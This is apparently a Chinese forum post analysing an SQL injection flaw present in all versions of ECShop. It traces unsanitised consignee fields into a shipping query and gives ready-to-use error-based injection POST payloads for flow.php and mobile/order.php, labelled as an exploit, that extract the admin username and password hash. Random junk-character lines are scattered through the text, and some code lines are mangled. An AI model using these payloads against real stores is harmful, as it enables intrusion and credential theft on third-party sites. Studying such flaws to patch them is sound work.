ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
1 O. H, Y- h& I% z3 a
7 ]1 g  N3 ?! _  V3 ]$ |0 l    漏洞关键文件：

" S5 K: S) `) f    /includes/lib_order.php

" ^7 I' V  b" E# f    关键函数：

' f+ z6 \2 G# s% ^/ t/ Q- q
7 `. |! B7 t. A% ]; x, t
01     function available_shipping_list($region_id_list)
: K; L' Q5 Y: N; _' K
3 T# `3 C& B/ I7 X' o02 {

; D* P7 V2 x+ P; h' L/ o4 l03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
7 X) U7 E6 u) ^+ B
' L' J& L* X' G9 n; e$ i; M( K0 ?04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
* y) \) ^/ x! d& m
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
5 X/ t/ J0 D+ m, e
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
) D/ U+ B+ i' A# n! E7 o1 h2 t4 b
( P+ _  y+ ^/ o) c1 {# b07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

; k) N; h. m5 s08             'WHERE r.region_id ' . db_create_in($region_id_list) .

09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   

11     return $GLOBALS['db']->getAll($sql);
$ y5 P% U9 T1 ^. F; _. ~
( M5 _$ |# C8 _. D12 }
% q; h, h2 A4 N$ ]+ G
8 O6 u" Y/ W/ p8 e# _9 F显然对传入的参数没有任何过滤就带入了查询语句。
+ k5 X. z* p4 ^5 i& ~9 j$ G
$ ]3 O% O8 X. n) P7 [1 M: V下面我们追踪这个函数在flow.php中：
第531行：   

: X$ [' L, }2 k+ ?1 $shipping_list     = available_shipping_list($region);
; S5 U2 G/ {- k, N4 M5 a6 C



) [  r! J! y" d5 b
再对传入变量进行追踪：
  c% i& H$ y9 s
2 M5 |! F/ x3 T) J$ F第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

; U! L2 L+ F5 X+ A


& |9 W. [$ c5 F7 h
, k* s; _. p7 A4 s2 c+ R第473行：        
$ A: d5 }9 \# Z4 d( R% o7 H1 D
1 $consignee = get_consignee($_SESSION['user_id']);

! i- _  F1 f) q' k7 C/ _7 v, h/ J- P/ G到了一个关键函数：
3 t0 q, ?8 ]$ X. M
5 F: L2 O6 ]+ h) \4 T! ~; G6 |/includes/lib_order.php
5 j% Q- \# w  {4 O' R" K: S9 x
+ \" z& x4 F1 b+ i; R
0 C1 t& j0 I  T: U# f0 O; B! T

& @  N% _/ N2 h; S* @6 D- C: x8 @1 }
6 |1 J# B6 }4 }5 t* @; ?01 function get_consignee($user_id)
  G  }$ r; D: L
02 {

03     if (isset($_SESSION['flow_consignee']))
) K  @: P* T; a5 m# {7 O
% \4 p- u8 d% j5 w04     {

8 v2 k5 B' \  q0 A6 {; y) W05         /* 如果存在session，则直接返回session中的收货人信息 */
( G( D  ?3 h3 R  [2 F& g
06   
( E6 G( N+ `3 L% g6 L
07         return $_SESSION['flow_consignee'];
+ ~9 I/ X1 ~- d2 e* N* [% ?
! r7 b# \8 d1 P08     }

5 v8 a/ ^: x! H  k09     else

10     {

" o  g/ M# p$ I4 U# \/ d% v: B11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();
) h) d2 \  v3 N7 ]. ~0 u4 x
13   
3 V* X9 b% R8 p: M
( P, r* p, x& B) T9 p# S14         if ($user_id > 0)

* q) s" J# P  \8 v9 D: y15         {
1 {) Z" R8 W2 @, P
16             /* 取默认地址 */

17             $sql = "SELECT ua.*".

  d9 K3 j& t  Q18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

0 h- j# u' w! `0 A: x! i19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
" b# P. E/ I9 v' q3 d/ m
20   

21             $arr = $GLOBALS['db']->getRow($sql);

* m9 n, \5 v! [5 b2 \22         }

23   

24         return $arr;
$ |/ ]" }' h3 u9 m
# \2 O( a; F% t/ _3 I5 t25     }
6 H. [8 y( X& G/ {# Q9 F, H; S8 i
; o+ Q7 h- o1 E26 }
( I: N/ y0 u6 y3 s! l
7 o2 Q: }7 C9 X- U; \6 {显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
5 J! B7 `* K0 v/ t8 h$ l) m1 i


关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
% f8 D% j7 E6 ]! T
  _: `( P, W7 i4 x* A; r! M3 N这里对传入参数反转义存入$_SESSION中。



  O$ Q1 j+ `4 R4 I然后看下：
& P( b- m0 R& k6 ~- s3 t
+ N2 T1 a# H, n1 d6 O/ Z6 [
! b" v! `2 w( B- K) u8 B
   
7 ]& h& V+ L9 K, e, _6 A
01 $consignee = array(
. l- S) j* ?5 R) l, l' U& s; ]
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

5 X" E  N$ W7 a04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
: g/ Q* Q4 E2 j1 C( t2 v6 P
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

8 g; I. P8 t# e7 ]07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
2 T4 [2 c: ^# ], x: ?5 p
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
0 F# a, N) z7 v" A
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
! l. |6 b* R- t6 ~+ `. [( u# p
/ Q2 X6 _. J% ]& {+ a' b5 n10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
. g  Q. V2 J8 }' {- ?3 H
' f* X' O- D, V( j" E% I) M12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
5 F! l, G1 r7 G3 e9 s
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

' f! q& x( N! A( G; r- D15     );

好了注入就这样出现了。

8 H: w; q  k* i: C/ u! {: F2 _==================

- J. g  L  K+ C+ t注入测试：

7 m; H$ S! u3 Y  q环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106



1.首先需要点击一个商品加入购物车
8 y; A2 |, I" a4 T
2.注册一个会员帐号
) w) Y- K8 ?! {- D1 [
! G: N. a( j4 y  ]3.post提交数据



1 http://127.0.0.1/ecshop/flow.php

2   
4 B" `7 R4 K4 _  D8 d
; A& F9 d, R3 Z3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
( P- ?# h) T; I+ f; ^: @举一反三，我们根据这个漏洞我们可以继续深入挖掘：

8 j0 S7 G  d8 w我们搜寻关键函数function available_shipping_list()
9 i& l2 |$ p/ K% b
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
, `; J9 @: k% ?+ e* m% [& V
利用exp:
2 [# t& q6 ^+ ?( ^
. v* v1 M0 j& F' f3 k1 Z1 k1.点击一个商品，点击购买商标

/ Q7 z" [2 c6 C9 f# }2.登录会员帐号

# Y3 m1 {) n3 G8 ~/ X/ {5 A3.post提交：
, Q: r+ J$ m+ E7 H+ d
http://127.0.0.1/ecshop/mobile/order.php

( y: W. h0 I+ n
3 Y  v" [7 k) N
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
( Z5 I' y+ [$ @5 s
5 H3 e7 Q' ~. s1 o$ q" g6 A  Y